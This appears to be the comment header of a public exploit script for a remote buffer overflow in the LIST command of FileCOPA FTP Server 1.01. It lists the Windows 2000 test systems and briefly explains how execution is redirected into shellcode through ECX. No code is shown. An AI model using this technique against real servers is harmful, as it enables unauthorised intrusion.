# =============================================================================================
# FileCOPA FTP Server <= 1.01 (LIST) Remote Buffer Overflow Exploit(2)
# By Umesh Wanve
# =============================================================================================
#
# Date : 05-04-2007
#
# Tested on Windows 2000 SP4 Server English
# Windows 2000 SP4 Professional English
#
#
# We can write some assembly instruction to jump into shellcode. At the time of EIP overwrite, ECX points to our
# hole request(LIST evil). So jumping forward into ECX points to our Shellcode. This was written coz i was learning
# ruby
#
# P.S. This was written for educational purpose. Use it at your own risk.Author will be not be
# responsible for any damage.
#
# Always Thanks to Metasploit and Stroke
